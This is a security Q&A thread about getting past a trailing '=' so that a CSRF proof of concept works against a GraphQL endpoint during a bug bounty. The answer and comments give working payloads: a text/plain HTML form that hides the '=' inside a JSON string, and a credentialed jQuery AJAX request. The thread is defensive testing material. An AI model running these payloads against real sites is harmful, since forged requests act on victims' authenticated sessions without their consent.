5

I am currently doing bug bounty on a company which uses GRAPHQL for their query language and would like to check if CSRF is possible. After playing around with burpsuite I have conclude the following;

  • Company doesn't use csrf token when fetching data
  • Origin and Referer can be erased and request will still work

If the company is using JSON, I would be able to produce a PoC for CSRF but because they are using GraphQL, I could produce CSRF PoC for the following reason;

  • Everytime form 'Content-Type' is set to 'text/plain' and every data has been setup inside of my input form, a '=' is appended at the end of body request, like this:

    POST /HTTPT/1.1

    --- Request Body ---

    [ {...} ]=

- This equal sign caused the request to fail

IS there anyway I could bypass this? Been looking for a while but got nothing. Thank you in advance!

3
  • "Company doesn't use csrf token when fetching data" Keep in mind, you likely wouldn't be able to retrieve the response due to same origin policy. Are there any endpoints that allow you to write instead of read? Otherwise CSRF isn't very useful. That said, your payload shows a post request, so maybe this needs clarification. Jul 27, 2020 at 0:25
  • Look for cors misconfiguration then.
    – yeah_well
    Jul 27, 2020 at 8:27
  • Hi @multithr3at3d, I found out a couple of CSRF from the company, but they are using JSON insted of graphql Jul 27, 2020 at 11:38

1 Answer 1

1

There are two ways to fix the additional = sign:

  • use a standard form CSRF payload and "hide" the = sign in a JSON attribute string context
  • use AJAX

You can use the following form to create a syntactically correct JSON POST request:

<html>  
<form action="https://example.com/graphql" method=post enctype="text/plain" >  
<input name='{"query": "[the query]","additional_parameter": "additional_value", "x":"' value='undefined"}' type='hidden'>  
<input type="submit">  
</form>  
</html> 

This will create the following request:

POST /graphql HTTP/1.1
Host: example.com

{"query": "[the query]","additional_parameter": "additional_value", "x":"=undefined"}

Some applications may reject the request if you have additional parameters though. In that case, you can use a standard AJAX request:

<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
<script>
$.ajax({
    url: 'https://example.com/graphql', 
    type: 'POST',
   // contentType: "application/json; charset=utf-8", // we can't change the content type unless CORS allows it
    xhrFields: {
       withCredentials: true
    },
    crossDomain: true,
    headers: {
        //'Accept': 'application/json, text/*' // we can't change the accept header unless CORS allows it
    },
        data: '{"query": "[the query]","additional_parameter": "additional_value"}'
    ,
    success: function (result) {
        console.log(result);
    },
    error: function(result) {
        console.log(result);
    }
});
</script>

This will work because for POST requests, no preflight request will be issued. You can't read out the response because of the SOP, but the request will be sent.

The application may still reject the request though because of the non-JSON content type header, which you can't usually modify using AJAX. You can modify it using flash in some (older) browsers (often oos for bug bounties) or if there is some CORS misconfiguration.

9
  • Thank you for responding to my question. Apparently, the HTTP request body starts and ends with square bracket. And adding the square bracket would produce the '=' at the end for some reason. Jul 27, 2020 at 11:42
  • 1
    @EmanuelBeni You can just add [/], the = will stay in the string context if done correctly. Example: <input name='[{"query": "[the query]","additional_parameter": "additional_value", "x":"' value='undefined"}]' type='hidden'>
    – tim
    Jul 27, 2020 at 12:09
  • I works, the equal sign disappeared in the HTTP Body. Do you mind explaining or giving reference why this happens? I assume it is because you add the last additional value (x). Thank you! Jul 27, 2020 at 18:20
  • 1
    @EmanuelBeni the POST body is built by combining the name attribute with the value attribute via = ($name=$value). So the goal is to but the = into a string context, which we can do by splitting the desired payload - say [{"query":"the query"}] - into the name and value parameters. So we could do $name=[{"query":"the query and $value="}], which would give us [{"query":"the query="}]. But we don't want the = sign in one of the string parameters we care about, so we add an additional parameter & value pair - I used "x":"undefined", which is split between name and value.
    – tim
    Jul 27, 2020 at 21:34
  • Thank you so much for the clear explanation, this helps a lot. On another note, do you think its possible for me to query GraphQL from URL, since I found out that content-type can't be set into 'text/plain', but can be set to 'application/x-www-form-urlencoded'. I looked at the GraphQL documentation online, but the problem is that all of the request there does not have the square bracket '[]'. Jul 28, 2020 at 11:46

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.